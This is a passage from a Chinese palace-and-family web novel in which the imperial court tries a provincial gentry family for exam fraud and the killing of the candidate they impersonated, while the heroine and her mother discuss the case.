隆安侯夫人也是一样的看法:“可不就是如此,找几个人,放榜的时候,在老爷子那里演一场戏,也就罢了!何况,董家老爷子后来还缓过来了,要不然,董元驹怎么能进京参加会试?若是当时只是骗一骗老爷子,等老爷子好了,再缓缓跟他解释,甚至不解释也行,叫董元驹装着进京参试的模样出来溜达几个月,回去就说没考上,这又有什么难的!如今此事直达圣听,他们总不觉得凭着一个孝字就能脱罪吧!这里头可还横着一条人命呢!人家不也是爹生娘养的,养大了这么出息一孩子,就被他们给祸害死了!” 说到这里,隆安侯夫人满脸都是嫌恶之色,要不是她修养好,就董家那帮无赖,她当时就想直接将人打出去! 顾晓问道:“他们当初是怎么收买了正副主考还有学正的?” 隆安侯夫人更加无奈了:“董家也是仕宦人家,虽说没出过什么高官,但是董元驹的伯父是县里的县丞,父亲也在临县做官,家里姑娘都嫁得不错,姻亲众多,他们在地方上豪横得很。这次的主考正好跟董元驹的伯父有过交情,还曾经欠下了董家的人情,副主考就不用说了,这位纯粹是贪财,董家那边给副主考在他家乡置办了一千亩的上田,自然就顺水推舟!那学正一开始是真不知道,但是,自己任上出了这等科举舞弊之事,他定然是要被牵连的,因此,在跟董家通了气,得了董家的好处之后,就干脆夺了人家的功名。可怜那被顶替的孩子,家里不过有个百亩地,在乡下算是地主,放在县城都算不得财主,家里连个里正都不是,先生也就是个普通的塾师,能帮他找到人为科举作保就算是不错了,要不是衙门里那些小吏为了赚钱,私底下拿了乡试的文章集结成册,还被人盗印,卖到了下面的县里,那孩子只怕一辈子都不会知道内情!” 顾晓听得只觉荒唐,又忍不住怒火上涌:“这等无法无天的事情,他们竟还有脸上京来求救?” 隆安侯夫人也没了丝毫好声气:“可不是嘛,就是这么没脸没皮,还敢打着咱们家亲戚的名号。我听了原委之后,就不肯再听,不许他们进来,结果他们就在咱们门外又是哭又是闹,咱们家又不是那等蛮横之人,总不能叫家丁将人打出去,也只能忍着!我在家里实在是待不住,也只能到你这儿L来躲躲清静了!” “那爹呢,他怎么办?”顾晓问道。 隆安侯夫人不高兴地说道:“别提你爹,他直接躲出去了,如今干脆住在鸿胪寺衙门里头,董家人总不至于跑到衙门闹事!连你两个哥哥都躲出去了,留下我们这些女眷顶缸!” 顾晓忙说道:“妈你这次干脆就在王府多住一阵子,等事情过了再说!正好妈你也好久不来了,跟两个外孙都生疏了,如今正好多亲香亲香!” 隆安侯夫人也不跟顾晓这个女儿L客气,要是女婿还在,她可不会开这个口,如今府里是女儿L当家做主,她这个亲妈来女儿L这里多住几天,又算得了什么,因此便说道:“你便是不提,我也要说的,你是不知道,这些天我都过的什么日子,要是你爹在大理寺当官,我都要让他上书建议重判董家,不光是那个董元驹,连同董家那些人也不能放过!咱们家都是侯府,尚且小心谨慎,与人为善,他们一家子不过是地方上有些势利,竟是做出这样无法无天的事情来,要是给他们说话,那真是丧良心了!” “这天高皇帝远的,越是地方上,才越是容易出这种事呢!”顾晓随口说道,上辈子她为什么一直留在一线二线城市,无非就是这个,大城市里头机会更多,其实也更公平,小地方看似生活成本低,生活节奏慢,但是去旅游可以,在那里生活工作就不一样了,很多地方都要讲人情,靠关系,你有点出格的事情还得被人指指点点,何必呢! 隆安侯夫人叹了口气,说道:“你说的也是,不管怎么说,事情都做出来了,如今还想要四处钻营,没得惹人厌烦!还有那正副主考,他们自个也是科考上来的,竟是也做出这等事情,叫人齿冷!” 顾晓便问道:“董家除了咱们家,还求谁家了?” 隆安侯夫人冷哼了一声,说道:“他们董家虽说女儿L多,姻亲也多,但是如今他们家就是一坨臭狗屎,谁敢沾啊!别说京中有没有别的亲戚,就算是有,躲都来不及,还敢援手!要不是我之前压根不知道有这门亲戚,当日就不该让他们上门的!”隆安侯夫人显然是恼急了董家,连脏话都骂出来了。 顾晓琢磨了一下,又问道:“妈,你觉得这次圣上会怎么判?” “反正轻不了,多少人盯着呢,这次要是轻拿轻放,说不定回头便有人想要效仿了!像是那等高门大户,找个寒门学子替考,能是什么难事?”顾家的子弟以后也是要参加科考的,他们不走这歪门邪道,也不希望别人将这条路搞得乌烟瘴气,因此,隆安侯夫人怎么想都觉得圣上这次定然是要杀鸡骇猴的。 顾晓也深以为然,任何事情,闹到了御前,哪里还有妥协的道理。那正副主考也 不是什么高门大户出身,这个时候,也没人敢替他们说话,划清界限还来不及,要不然岂不是显得自己也心怀鬼胎! “不知道那秀才如今家里如何了?”顾晓问道。 隆安侯夫人叹道:听说已经派人去接他父母了,到时候肯定要一起上堂的!唉,听说他们家就这么一个独子,因着想要儿L子中举之后谋个好婚事,至今还没成婚呢!董家觉得自家不能绝了香火,但是人家的香火就不是香火吗??_[(” 顾晓也跟着叹了一口气:“也亏得那书童是个忠心的,要不然那秀才可不就是白死了!” 隆安侯夫人点了点头:“那书童也是从小在他们家长大的,到时候收为养子,老两口也不至于没了依靠!” 顾晓这会儿L很庆幸,自己这辈子生成了特权阶级,要真是普通小民,以她上辈子的性子,只怕还不知道要踩多少坑呢!她可没有那书童那样的意志和执着,费尽心思,也要给自家少爷求个公道。她若是真的受了什么委屈,在求助无门的情况下,只怕也只能是打落牙齿和血咽了。不过这也得看,真要是受不了了,顾晓觉得自己只怕会生出同归于尽的心思。别的不说,做个□□,还是没太多问题的。 隆安侯夫人的到来也让王府热闹了不少,徒嘉钰对这个外祖母很有好感,坐在一起就外祖母长,外祖母短的,嘴巴甜得不行,将隆安侯夫人哄得合不拢嘴。 末儿L也是个人来疯,知道这是外祖母之后,更是可劲地表现。他如今会说的话多了,天天跟个小话痨一样,说个没完,顾晓都听得烦。隆安侯夫人却不觉得烦,反而很是耐心,哪怕末儿L一句话重复了好多次,隆安侯夫人也能听他讲下去,时不时还附和一下,只弄得末儿L情绪愈发高涨,拖着白白和花花两只小狗跟隆安侯夫人分享。 隆安侯一家子主子能躲的都躲了,董家那边再如何折腾,门房就一句话:“侯爷夫人大少爷他们都不在,等他们回来了,你们再来吧!” 董家在地方上是乡绅坐地户,放在京城,那就是乡下土包子,能借着信息差找上顾家,已经是超常发挥,如今顾家不肯管事,他们顿时就有些抓瞎。 董元驹如今已经被关进了大理寺,虽说还没开审,但是因为这事牵扯了不少人,还将文官这个团体的面子都给下了去,不知道多少人深恨董元驹这个罪魁祸首,至于两个正副主考,那不是被董家拖下水的嘛!所以,董元驹才进了大理寺,就已经吃了不少苦头。 之前闹出这事,也不是董元驹做的主,他还不到三十,又不是老大一把年纪,科举不中已经魔怔了,非要一门心思往上走,他当时其实是不想要走这个捷径的,但是祖父非要临死之前看他中举,伯父和父亲商议一番,就给出了主意,董元驹虽说是受益人,但是他也不是主使者。 董家这边,想着的就是在不牵连董家其他人的情况下,尽可能将董元驹捞出来。董元驹也算是孝顺,尽管在牢里被人各种审问,他也是一言不发,不肯说自己伯父和父亲是主使,为此,很是受了一番皮肉之苦 。董家那边费了不知道多少心思,去牢里探望了一回,回来便哭声震天,只怕董元驹在牢里就被废了。 对董家来说,这还只是个开始,很快他们就意识到,什么叫做寸步难行。 隆安侯府不想担一个不念亲戚之情的名头,私底下就叫人将董家人进京的消息传得到处都是,董家人的样貌也被人给认出来了,顿时原本赁了他们家宅子的人就要反悔,自家这样的好宅子,租给了董家,平添一重晦气,何况,周边的邻居,谁肯跟董家做邻里。因此,一番争辩之后,董家的行李家什都被丢出了门外,之后只能顶着烈日出去找宅子。 结果连牙行都不想做董家的生意,董家又不肯住到南城那边去,那里住的都是贫民,真要是过去了,被人偷了钱财,抢了东西,都没处说理去。 折腾一番,董家只能去住客栈,还只能住那种人员混杂的客栈,这等客栈才不在意董家是什么人,只要给钱就行。但是相应的,安全性也得不到保证,只得时刻得留人在客栈里面看着包裹行李。 至于在外头找人的事情,那就更别提了。 京城这边行贿受贿也有潜规则,谁家也不会明目张胆地提着银子礼品上门拜访,这不叫人说嘴嘛。京中琉璃厂那儿L自有那等书画古玩店,掮客问清楚你什么情况,然后再给你找合适的路子,商议清楚要花多少钱,然后你带着钱去店里,买下一幅指定的字画,然后行贿的事情便算是完成了。 像是地方上那等直接送钱送东西的手法,放在京城,根本行不通。董家带来的钱财不少,却不知道其中的门路,而那些专门干这一行的掮客,也不怎么乐意沾董家这茬子事。到时候办不成,平白落个难堪,甚至还要影响他们的信誉。 倒是有些捞偏门的,想要借此机会骗一笔钱。只是董家这些人固然不明白京中的情势,却也没到病急乱投医的地步,他们在地方上见识的也多,前阵子到了京城,就先求上了隆安侯府。在他们看来,这等几代不降的侯门,在京中已经是一等一的人家,人家家里还出了个王妃呢。隆安侯府这样的门第尚且不肯踩这趟浑水,那些人说出来的官员名号,在董家人眼里自然不够上档次,起码也得找大理寺卿,六部侍郎尚书这样的人物吧。不过这些捞偏门的人,哪敢随便打那些大人物的旗号,回头董家发现不对,嚷嚷出来,他们本就是地痞混混一流的人物,直接被打死都没人喊冤的。 董家也有自己的小聪明,知道有些事情,可能那些大人物干不了,反倒是下头的胥吏能有办法。与其找这些不知道是真是假的官员,先将牢里那些狱吏打点好了才是正经,起码能给董元驹送点吃食药物进去,也叫那些狱吏稍微关照一二,免得案子还没判,人就废了。 素来阎王好见,小鬼难缠。周勃尚有“待罪请室,始知狱吏之贵”的感慨,董家这种在京中无根无底,又铁定翻不了案的人家,在那些狱吏眼里,就是头肥羊,不宰白不宰。 董家送进去的东西,能落到董元驹手里的能有三成就算不错,不过饶是如此,董元驹日 子也好过了许多,起码身上的伤得到了还算不错的医治,不至于因为这盛夏时节,因为伤口发炎化脓而死。 董家没头苍蝇一样到处找门路,冤枉钱花了不少,但是却一直没得到一句准话,只得继续奔波,短短半个多月,他们带来的钱财就已经消耗掉大半。二房还好,董元驹是二房的儿L子,大家偏向他都习惯了,花再多的钱也在所不惜。大房这边却已经有些犹豫不决起来。大房是没儿L子,不是没孩子,他们有几个女儿L,最小的还没出嫁,原本董家就损了名声,再没了钱财,小女儿L的婚事更是个问题。 董家又一心只想要男丁传承香火,不许叫家里女儿L招赘。可想要子嗣,多买几个丫头,送到牢里,跟董元驹睡几次,直到怀上为止不就行了。总不能几个丫头,一个都生不出小子来吧!真要是如此,那董家也活该绝后。现在拼命想要救人,回头将家里的钱财败个干净,人还没能捞出来,那董家就算是有了后,又有什么前程可言! 董家两房如今已经开始离心,大房甚至都想要收拾东西,直接先回去算了,免得在京城继续丢人现眼,却被二房威胁,他们要是敢跑,就叫董元驹出首,说行贿之事,都是大房所为。大房这边很是被恶心了一把,偏生还真的担心罪名就这么落到自家头上,只得捏着鼻子认了,私底下发狠,不管此事结果如何,回去一定要分家,宁可让小女儿L招赘,也不再去想什么董元驹兼祧之事。 在这样的氛围中,苦主的父母也被接到了京城,案子总算可以开审了!! 第 58 章 那个倒霉的秀才叫陆显宗,光听名字就知道家里对他寄予多大的厚望了。陆父陆母都是典型的庄稼人模样,陆母年轻的时候做过绣娘,因着这份手艺,加上陆父的勤劳肯干,家里才攒下了上百亩的田产,能供得起儿子上学,为了给儿子行方便,还专门买了个无父无母的孤儿回来给儿子做书童。 儿子也争气,十几岁就考中了秀才,还是廪生,一年能从县衙拿好几两银子,县里的先生也说儿子争气,肯定能考上举人。结果去参加了一次乡试,原以为没考上,他们还想着这次考不上也不打紧,先给找一门婚事,等过几年再考也是一样。结果儿子去了一趟县城,回来说自个要去省府问一件事情,就带着书童走了,之后就再也没有回来。 夫妻两个还以为儿子路上是遇了劫匪,还去县衙报了官,却一直没有消息。这大半年来,夫妻两个根本无心农事,到处托人打听儿子和书童的消息,时间越长越绝望,原本陆母年轻时候做绣活,眼睛就不好,如今更是几乎哭瞎了眼,夫妻两个头发都白了,看着简直如同花甲老人一般。 两人被衙门找了个客栈安置下来,也不知道出于什么心理,他们住的客栈距离董家住的客栈只隔了一条街,随便一打听就能听到。 董家在乡下嚣张惯了,一听说陆家两口子就是两个普通的庄户,顿时觉得好拿捏,当下兄弟两个商议了一番,由董元驹的父亲董兴胜去找陆父陆母。 陆父陆母这会儿正在跟书童陆墨抱头痛哭。 “好孩子,要不是你,我们显宗就这么平白冤死了!”陆母来的路上就听差役说了情况,知道陆墨这一路而来是多么困难,若是陆墨当时没有自个进京,而是回家先找他们商量,以他们的见识,说不定还是一层层告上去,到时候不光儿子的冤屈没法申诉,连同老两口自己也得搭进去。 陆父也是连连点头,抹着眼泪说道:“你给显宗伸了冤,你就是我们家的大恩人!”说着,竟是直接想要跪倒在地,给陆墨磕头。 陆墨忙拉住陆父,说道:“要不是老爷太太把我买了,我只怕都在外头饿死了!这些年,我在陆家跟少爷同吃同住,少爷也一直将我当亲兄弟一般对待,连姓都是跟着老爷少爷一起的,我要是连给少爷伸冤都不敢,我还是人吗?”陆墨被买下来的时候才四五岁,陆父陆母都是厚道人,说是将人买回来做书童,实际上是当自家孩子一般养着的。 陆父与陆母对视了一眼,有些尴尬,但还是带着一些期盼说道:“你也说显宗一直将你当亲兄弟一般,如今显宗没了,我们两口子也没了依靠,想要认你做个义子,你觉得如何?” 见陆墨没有立刻吭声,陆母又连忙说道:“我们两口子也知道,你如今跟以往不一样了,我们就是,就是……”她原本在老家那边还算是有几分伶俐,这会儿却也说不出来。路上那些差役可是说了,大家都说陆墨是忠仆,甚至是义士,哪怕他是从小被陆家买来的,但是谁敢真的拿他当奴仆一般看待。别看这年头对下面的奴仆都要 求一个忠字,但更多时候都是树倒猢狲散,谁能摊上这样的奴仆,那真的是要当做门客来对待的!可以说,此事一过,陆墨只要愿意,不知道多少大人物愿意对陆墨伸出橄榄枝,甚至有机会当官,而在陆家,陆墨又算什么呢?做个养子,就继承陆父陆母那百十亩地的遗产,给老两口养老送终? 陆墨却是实心人,这会儿毫不犹豫,一头跪倒,给陆父和陆母磕头:“孩儿给父亲、母亲磕头!” 老两口顿时泪如雨下,拉着陆墨起来,哭得连话都说不出来,只能一连声地说道:好孩子!好孩子!??[”又道:“你跟你显宗哥哥一样,读了几本书,就讲究起来了,还什么父亲、母亲,就叫爹娘!” 陆墨赶紧又叫了一声爹娘,就在这时,外头小二来敲门:“陆老爷在吗?外头有人求见!” “什么人啊?可当不起一个求字哩!”陆父在老家一向与人为善,也是个老实人,到了京城,也是战战兢兢,一听什么求见,顿时就慌了手脚。 陆墨虽说一路坎坷,却也见过不少世面,这会儿说道:“爹,娘,你们先坐着,我去问一下是什么人?” 那小二拿了董家的银子,原本想要将人哄出去,弄个木已成舟,结果出来的却是陆墨,陆墨直接问道:“是什么人要见我爹娘?” 这小二自然是听过陆墨这个传奇人物的,这会儿顿时有些气短,只得老老实实说道:“是董家的二老爷!” 一听,陆墨脸色就阴沉了下来,陆父也听到了一个董字,当下嚷嚷起来:“叫他滚,咱们不见董家人,咱们家显宗被姓董的给害了,他们还有脸过来!” 陆母也跟着跳了起来,不知道从哪儿摸出一把剪刀来,有些魔怔地说道:“董家人,在哪儿,他们在哪儿,在哪儿?”她从知道儿子的死讯之后,除了伤心,满脑子都是要给儿子报仇雪恨的念头,尤其在打听一番之后,听说这个案子,判下来,最多也就是死一个董元驹,其他人根本不会伤筋动骨。她却不知道,对于有些人来说,绝了前程比要了性命还要可怕! 自己儿子被害死的时候,董元驹已经进了京,也就是说,害死儿子的董家人应该是董元驹的长辈,偏生董元驹进去了,他们的长辈还在外头上蹿下跳,企图给董元驹脱罪,陆母想到这里,只恨自己就是个腿脚不便的女流,不能给儿子报仇。这会儿董家人自个送上门来,陆母满心的仇恨顿时就再也藏不住,当下拿着自己做针线的剪刀,就要去跟董兴胜拼命。 陆父也没想到自个老妻居然藏了这样的心思,这会儿被吓了一跳,连忙夺了陆母手里的剪刀,说道:“老婆子,你别犯糊涂,你这会儿伤了人,回头说不定上头就判轻了!” 陆母被说的一愣,然后又崩溃地大哭起来。 陆墨黑着脸,直接对那小二说道:“小二哥你也看到了,我爹娘现在这个样子,也不方便见人,何况还是董家人!劳烦小二哥跟他们说一声,就说想要见我爹娘,等开审的时候,就能看到了,用不着这会儿过来!” 小二摸 了摸袖子里那块银子,还是说道:“他们说是来给老爷太太赔罪的!” 陆父这会儿已经冷静下来,说道:“赔什么罪,他要赔罪,上了公堂再说!我们儿子死了,我们两口子这把年纪,只想要一个公道!” 董兴胜在楼下听到楼上隐约传来的话,只气得咬牙切齿。放在老家那边,像是陆父这样的小地主,对董家来说,算得了什么,略施小计,就能叫他们家破人亡。董家发家这些年来,兼并的土地可不是都来自于底层的贫民,那些小地主的地连成一片,又多是好田,不比从那些苦哈哈的半佃农手里弄来那点薄田来得强吗? 可惜的是,陆家跟董家离得还挺远,要不然当初弄死了陆显宗,就该将陆家跟着斩草除根的。 哪怕心里这么想,但是如今形势不由人,董兴胜还想要说几句软和话,上头已经扔下来一只粗陶杯子,正砸在董兴胜脚边,董兴胜吓了一跳,瞧着已经从房里出来的陆父陆母满脸的仇恨,顿时就有些张不开嘴。 哪怕到了这个时候,董兴胜依旧觉得自己是瓷器,瓷器不该跟瓦罐碰,他们家就算是不当官了,也是地方上的豪族,哪里能跟这等土包子硬碰硬,他这会儿也不敢发作,只得强挤出一个笑来:“贤伉俪这会儿心绪不宁,老夫回头再来拜访!” 陆墨却是正色说道:“董老爷还是不要再来了,我爹娘年纪大了,受不得刺激,回头若是闹出什么事情来,反倒是不好,不如等大理寺那边开庭再说!” 董兴胜之前没跟陆墨打过照面,只是听说过陆墨的存在,对这个坏了自家事的书童,恨得那叫一个咬牙切齿,如今瞧着陆墨模样,说话有条有理,顿时就知道,只要陆墨在,想要糊弄陆父陆母就不是什么容易得事情。他心中转悠着各种歹毒的念头,面上却是一副和善模样:“我们两家本来也就是一场误会,陆贤侄之事……” “我都说了,给我滚啊!”陆父一听他还狡辩说什么误会,这会儿只气得两眼直冒金星,要不是还残存着几分理智,恨不得从楼上跳下去将董兴胜打成肉饼。 董兴胜见陆父眼珠子都红了,顿时不敢再吭声,胡乱拱手道了个别,拔腿就跑。 陆墨这会儿看向了那传话的小二,不冷不热地说道:“小二哥,以后这董家再来找,就别告诉我爹娘了,要是我爹娘被气坏了,做出什么糊涂事来,也坏了你们客栈得生意不是?” 闹了这么一场,原本躲在后头的掌柜也冒出来了,连声给陆家人赔罪:“这小二新来的,不懂规矩,以后再也不会有这样的事了!” 那小二被掌柜要吃人的眼神吓得一个哆嗦,顿时不敢吭声,老老实实跟着掌柜下了楼,心里七上八下,不知道会变成什么样。 董兴胜来了这一次,陆墨就知道,董家人势必不肯善罢甘休,距离升堂还有好几日,住在客栈里,总会有被董家抓住机会的时候,陆墨便琢磨着,找个地方赁个房子再住下。他在京城待了这么久,一些有心人也告诉他不少事情,像是这等案子,本就不是一两天就能审下来的, 就算涉案的人老老实实招供,也得走相当长一段时间的流程,等到判决下来,说不定都几个月过去了!何况这等大案,谁也不想承担主要责任,到时候铁定会有人翻供,如此,还不知道要折腾多久。 既然这样,自然是不能再住在客栈了,陆墨跟陆父陆母商议了一番,陆墨便出去找牙行赁宅子。陆墨手上没钱,他之前是有勋贵要看文官笑话,给他行了方便,让他住在衙门里头。如今陆父陆母过来了,他们来的时候就做足了准备,将能带的钱都带上了,甚至连地契也带上了,实在不行,就在京里把地卖了,儿子都没了,还要家产做什么! 一听说陆墨要赁宅子,牙行那边也是消息灵通,当下就在甜水巷找了个宅子,甜水巷可不是在外城,而是在内城,附近住着的都是勋贵人家的族人,距离甜水巷不远,就是镇国公府。自从贾代善死后,荣宁二府没个能拿得出手的人,八公之中暂时就以镇国公府为首,这次的事情,现一等伯牛继宗就掺和了一手,总得叫圣上知道文官没几个好东西,圣上才愿意多倚重他们这些勋贵。 有着牛继宗的示意,陆墨赁到的这个宅子,不仅地段好,还很便宜,里头家具灶台都很齐全。陆墨也知道这里头肯定有大人物帮了忙,但是他见识不足,又觉得自己不过是一个书童出身,等给少爷伸了冤,就带着陆父陆母回乡去,以后也不会有机会再来京城,因此干脆坦然接受,当天就雇了一辆车,去客栈接了陆父陆母,径直去了甜水巷。 等到董家那边知道陆家居然从客栈搬走之后,只能是无能狂怒,他们如今名声臭的很,进内城可以,但是指望在内城赁房,那是想都别想。也没人告诉他们陆家住在甜水巷,内城那么大,他们得找到什么时候才能找到人,因此,只得暂时作罢。 眼看着升堂的时间越来越近,董家人愈发慌乱起来。他们现在不仅是想要保住董元驹的性命,还得保住董兴业和董兴胜兄弟两个的前程,若是董元驹扛不住所有的罪名,其他人又招供了他们的参与,他们不光官职保不住,也是要被下狱问罪的。 而大理寺那边,为了防止串供,已经不许人再进大牢探望,董家塞了不少钱,结果那些狱卒钱照收,却连东西都送不进去,只得干瞪眼。 七月十九,圣驾回銮,七月二十,这在京城已经变成了传奇的科举舞弊案终于开审了! 便是徒嘉钰和贾瑚,对此事也很有兴趣,早上用饭的时候,徒嘉钰就催着顾晓说道:“妈,你可安排好人去衙门那里打听消息没?” 顾晓笑道:你都说了这么长时间了,当然早就安排好了,等着吧,等你上完课,就能听到消息了!” 徒嘉钰有些遗憾:“可惜现在不方便,要不然我还是觉得自己去看比较好!”贾瑚跟着就点了点头。 顾晓也是深以为然,吃瓜不在第一线,总少了几分滋味。 隆安侯夫人这些日子一直留在王府,毕竟,董家如今已经是穷途末路,谁知道他们脑子一热,能做出什么事情来,还是先在外头躲着吧!这会儿见女 儿与外孙相似的神情,简直是又好气又好笑,女儿这都两个孩子的妈了,如今竟是越活越小,跟个小女孩一般。 等着徒嘉钰和贾瑚一块去上课,隆安侯夫人就忍不住说道:“你也二十多岁的人了,如今怎么看着越发孩子气了,小孩子爱凑热闹,你也想去,叫外头人知道了,该怎么想你!” 顾晓撒娇道:“妈,我这不是没去嘛!还有,外头人怎么会知道这事,我如今好不容易日子过得松快些,要再沉稳自持,等钰儿娶了媳妇,我当了婆婆再说也不迟!” 隆安侯夫人见顾晓这副模样,顿时不知道该怎么说才好,只得叹道:“你啊!”心中却是补充道,也是命好!没了丈夫,就不要考虑妻妾之争,不用发愁中馈,也不用想着相夫教子,身边的人又都捧着她,这样无忧无虑之下,自然是越活越小了。 想到这里,隆安侯夫人有些郁闷地转移了话题,说道:“这次最好直接将董家给打趴下,要不然的话,还有的烦心!” 顾晓说道:“这次不光是科举舞弊,还有一条人命在里头呢!董家那边不活动,府衙那边不可能就这么把人给打死了!便是董元驹想要将事情都扛下来,那几个被董家坑惨了的人也不让啊!” 隆安侯夫人瞧着顾晓这般说法,不由笑道:“我还当你越活越小了,原来也还能看清楚这些!” 顾晓故作不满道:“妈,我都二十多岁的人了,也当过这么多年的家,难不成连这点道理都不懂了?” 隆安侯夫人笑道:“你啊,之前憋屈的日子都给忘了!不过你之前说的也有道理,这天底下的事情,无外乎法理人情!董家两方面都触犯了,哪里还有好下场!不过,这地方上的乡绅这般能耐,只怕圣上回头也会有些动作才是!” 隆安侯府在知道这个案子之后,就给老家那边写信,叫族人自查一番,若是有什么不法之事,该赔礼赔礼,该道歉道歉,再不济,找几个人将事情扛下来,不能正撞在圣上刀口上。好在顾家在浙西繁衍多年,是地方上的望族,虽说也难免也有土地兼并之事,但吃相终究要好看一些,并无什么欺男霸女,横行乡里之事。毕竟,顾家还要世世代代在家乡繁衍生息的,真要是吃相太难看,失了民望,回头遇上什么事情,顾家也要遭殃。 当年改朝换代的时候,顾家就是因着自家的名望,那位顾家先祖还曾经上书减免税赋,这才能以浙西为基础,稳定后勤,供应军粮,安稳人心,最终才得以封侯。而那等兵荒马乱的时代,不知道多少为富不仁的地主劣绅被大批流民冲击,以致家破人亡。前车之鉴在此,顾家自然更明白与人为善的道理。这也是因为顾家这么多年在官场上都没有断层,要不然的话,光靠着耕读,也没法在地方上一直保持相当的影响力。 这年头皇权不下乡,就给了下头缙绅相当程度的操作空间,地方上的官员想要治理一方,就得依赖这些缙绅,可以说是官绅共治,那些缙绅就算是有什么不法之事,只要压得下去,不闹到公堂上,那衙门知道了也会当做不知道,毕竟这年头官 员的绩效指标看的不是什么破案率,而是发案率。没事那就是民风淳朴,路不拾遗,那就是大治,要是三五不时就有人报案,回头吏部审核的时候,这一项上直接给你打个下下,你的前途也就完蛋了!而若是出了什么事,很多官员为了结好这些缙绅,在判决的时候也会更倾向于他们,事后还能得到重谢。至于普通小民,没钱没势的,能给官老爷带来什么好处,谁管他们冤不冤呢! 这等事情,其实上层也是心知肚明。朝廷口中的民,很多时候都不是底层的草民黔首,而是地主乡绅,朝廷想要安稳,大多数时候安抚的也是这个群体,至于最底层,只要在保证赋税的情况下不饿死就行。 顾晓上辈子生活在新时代,这辈子开局就是侯门贵女,嫁人哪怕所托非人,可徒宏远再宠妾,祖宗家法在那里,也不敢灭妻,她根本不知道底层的痛哭与无奈,这会儿自然想不到那么多。 隆安侯夫人其实也未必知道底层的艰辛,但是她却比顾晓经验丰富,出了这么一桩事情,圣上不大动干戈是不可能的事情,地方上的官员就算与缙绅有所勾结,近些时间也得收敛一些,甚至为了升官发财,还得先找出几个民怨比较大的劣绅地主出来,当做晋身之阶。可以说,接下来的半年乃至一两年,这都会是吏部考察的重点,董家就算是这次没事,回去也会被当地的官员当做典型给揪出来。死道友不死贫道,哪怕是董家那些姻亲,为了自保,也会立刻与董家切割,可以说,董家如今就是跳梁小丑,再如何上蹿下跳,他们的结局也已经注定了。 果不其然,当日开审的时候,受审的正副主考,学正知府,都异口同声,将事情都推到了董家头上。 总之一句话,大家都承认自己犯了错,但是归根结底,还是受了董家的威逼利诱。 这一点直接打了董家一个措手不及,被当堂指出参与行贿的董兴业和董兴胜立刻就被收押,他们也慌了手脚,顿时就狗咬狗起来。! 第 59 章 董家兄弟两个也明白了,这些人之所以这段时间任由自家在京城各种钻营,是因为他们早打定了主意,叫他们家背这个锅。 这等人家,哪里会是肯打落牙齿和血咽,认赌服输的性子。地方上这样的乡绅,谁手里没攥着地方官员的把柄,别的不说,董家自个就得年年孝敬这些地方官员,要不然,人家凭什么在关键时刻为自己说话。 如今眼看着黑锅都落自家头上了,董兴业和董兴胜都不用商量,反口就将自己知道的事情抖落出来。比如说,那位知府原本做县令的时候,收受了贿赂,硬是将一个没什么才学的草包点为案首,而按照常例,案首在接下来的府试院试中是不会被黜落的,那个草包就这样成了秀才。别看秀才没有做官的资格,但是已经有了一定的政治权利,不说免除差赋徭役这些,可以见官不拜,不受刑法,蓄养奴婢,出行也不用再去官府开具路引,对于一些有钱人来说,有个秀才功名,可以省掉很多麻烦。 那位学正屁股底下也不干净,克扣廪生的廪米,那些廪生给人作保,他也要从中抽成,要不然就想办法革除对方廪生的名额。至于说正副主考,那就更别提了。 一个是董家的老熟人,中了翰林之后,在家乡就开始大肆圈地,他们家的佃户得交七成的租子,谁敢因此不租他们家的地,就直接闹得人家活不下去,为此逼死了不少人命。另一个能收董家一千亩良田的贿赂,可见根子上就不是什么好东西。 董家兄弟两个噼里啪啦说得痛快,外头自然是民愤沸腾,尤其还有勋贵人家找的人在里面煽风点火,有人带了个头,立马泥巴石子烂白菜就直接往公堂里头扔了进去,气得主审的官员两眼发黑,直接下令那些差役将围观的人往外推,就听几个人在里头叫着:“你们这些文官就是一伙的,官官相护……”话还没说完,就被眼尖的差役一水火棍打上去,给了个威胁的眼神,最后只得老老实实闭嘴。他们是勋贵人家的下人,主家可不会承认自己派人过来扰乱公堂,被打了也是白打。 案子既然变成了这个样子,自然也没法审下去了,只得宣布退堂,改日再审! 距离衙门不是很远的一个茶楼上,雍王这会儿L正汗流浃背地站在那里,因为坐在旁边的是圣上。 雍王如今只想着自保,因此,什么显得胸无大志,他就干什么。听说大理寺这边有这个热闹,便带了两个长随,就过来凑热闹,哪知道茶还没喝两口,就遇上了微服出宫的圣上。 圣上对于这个案子自然也是非常关注的,他在意的不是什么科举舞弊,这次的舞弊不像是之前那种大规模有组织的行动,比如说什么泄题啊,代考之类的,而是地方上的缙绅与官员乃至外派的考官勾结,这里头问题可就大了。 原本大家都觉得这么多年下来,科举制度已经非常严谨了,但是如今一看,猫腻实在太多了。 圣上一直以来自诩自己是明君,治下百姓都能安享太平,哪知道外头已经变成这个样子。这次还能有人能越过重重 障碍,跑到宫门外头敲响登闻鼓,但是以后呢?等到底层的百姓对朝廷彻底失望,那么事情又会变成什么样子! 老徒家就是靠着改朝换代起家的,自然对于这些事情都非常谨慎。圣上觉得自己不会是亡国之君,也没像是始皇帝一样,觉得老嬴家的江山能千秋万代,万世不移,但是他也不希望自己的子孙还没做几代皇帝,朝廷就被推翻了! 因此,圣上就想着将这次的事情闹大,当大家都意识到地方上的豪族是何等豪横不法的时候,他就可以收割一把了。 圣上也明白下面那些文官的想法,无非就是捂盖子,他们宁可抛出一个董家来平息圣上的怒火,也不想叫人都迁怒到整个文官缙绅阶层上。千里当官只为财,有理想有信念有操守的官员也有,但是终究只是少部分。他们这些文官,也不希望皇权延伸到地方上去,最美好的光景那就是所谓“圣天子垂拱而治”,如同宋朝那会儿L万事都由士大夫们做主,那就再好不过。当然,宋朝被士大夫们折腾成了什么样,他们是不会去考虑的。 一直以来,皇权与相权,或者说臣权,那都是对立的。天底下权柄就这么多,皇帝管的多了,官员管的少了不说,脖子上那根绳子也就勒得紧了。而皇帝呢,即便是那等贪图享乐的,也不会真的不想手握重权,真要是大权旁落,他们想要享乐都费劲。 圣上虽说已经到了天命之年,可是对于权力的渴望却愈发炽热起来,他的权柄连儿L子都不想分享,何况是下面的大臣。 因此这次出来,他就是想要看看大理寺到底是怎么审案的,然后借着这个机会,将文官在地方上的势力削那么一波,结果,才出来,就发现自家儿L子点了一壶茶,几个点心,还拿了个千里眼,也坐在茶楼上头等着看戏呢! 雍王生母早逝,也没个得力的养母,因此从小就跟在义忠亲王身后,圣上因此对雍王还有一些关注。之前雍王各种躲事,圣上一边觉得放心,一边又有些生气,这会儿L看见这个儿L子居然还有心思出来看热闹,便愈发恨铁不成钢起来。 